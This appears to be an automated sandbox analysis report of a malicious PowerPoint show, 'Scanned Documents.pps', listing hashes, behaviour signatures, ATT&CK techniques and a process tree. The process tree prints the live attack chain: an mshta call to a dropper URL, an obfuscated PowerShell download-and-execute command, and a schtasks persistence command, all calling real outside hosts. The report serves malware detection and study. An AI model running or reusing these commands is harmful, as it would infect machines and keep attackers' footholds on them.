Analysis

  • max time kernel
    430s
  • max time network
    434s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    08-08-2022 11:59

General

  • Target

    Scanned Documents.pps

  • Size

    88KB

  • MD5

    07f043483f0ace3a78eaf975472c5a0a

  • SHA1

    3cded094a69940961675a7b9a72a11e8a74d99d3

  • SHA256

    2a4506ceb5bc265840e2aeeeb6577aa97db5534672ad420efc22b62fe31e6d82

  • SHA512

    60471fd4be21a7a3d53379f4af75c6bdd0a27f23a95d2b617175fe5d56ff84c00555854c6d42211dbd3589244736eb0986dafb8858308b4cf9f1e04ec80d7183

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://bitbucket.org/!api/2.0/snippets/warzonepro/BgkqLA/e51a1670f88c9ae8856c835b8f03482c06cfdc8e/files/devis1

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://bitbucket.org/!api/2.0/snippets/warzonepro/zE7z8E/529055121d9e0c31c5b73d98430be89b7a04a05f/files/devis111.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\Scanned Documents.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2032
      • C:\Windows\SysWOW64\MsHTa.exe
        MsHTa http://bitbucket.org/!api/2.0/snippets/warzonepro/BgkqLA/e51a1670f88c9ae8856c835b8f03482c06cfdc8e/files/devis1
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://bitbucket.org/!api/2.0/snippets/warzonepro/zE7z8E/529055121d9e0c31c5b73d98430be89b7a04a05f/files/devis111.txt'))));Invoke-Expression $MMMMMMM
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1576
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 300 /tn yandex /F /tr """mshta""""""https://openforce123.blogspot.com/p/devis1back_6.html"""
          3⤵
          • Creates scheduled task(s)
          PID:940

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/940-85-0x0000000000000000-mapping.dmp
    • memory/1248-81-0x0000000000000000-mapping.dmp
    • memory/1576-89-0x000000006A990000-0x000000006AF3B000-memory.dmp
      Filesize

      5.7MB

    • memory/1576-88-0x000000006A990000-0x000000006AF3B000-memory.dmp
      Filesize

      5.7MB

    • memory/1576-87-0x0000000004B10000-0x0000000005046000-memory.dmp
      Filesize

      5.2MB

    • memory/1576-84-0x0000000000000000-mapping.dmp
    • memory/1908-66-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-73-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-61-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-64-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-63-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-71-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-70-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-69-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-68-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-67-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-54-0x0000000073D01000-0x0000000073D05000-memory.dmp
      Filesize

      16KB

    • memory/1908-65-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-72-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-62-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-74-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-75-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-76-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-78-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-77-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-80-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-79-0x0000000000892000-0x0000000000895000-memory.dmp
      Filesize

      12KB

    • memory/1908-60-0x0000000074DB1000-0x0000000074DB3000-memory.dmp
      Filesize

      8KB

    • memory/1908-83-0x0000000071DCD000-0x0000000071DD8000-memory.dmp
      Filesize

      44KB

    • memory/1908-55-0x0000000070DE1000-0x0000000070DE3000-memory.dmp
      Filesize

      8KB

    • memory/1908-58-0x0000000071DCD000-0x0000000071DD8000-memory.dmp
      Filesize

      44KB

    • memory/1908-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2032-57-0x0000000000000000-mapping.dmp
    • memory/2032-59-0x000007FEFB6E1000-0x000007FEFB6E3000-memory.dmp
      Filesize

      8KB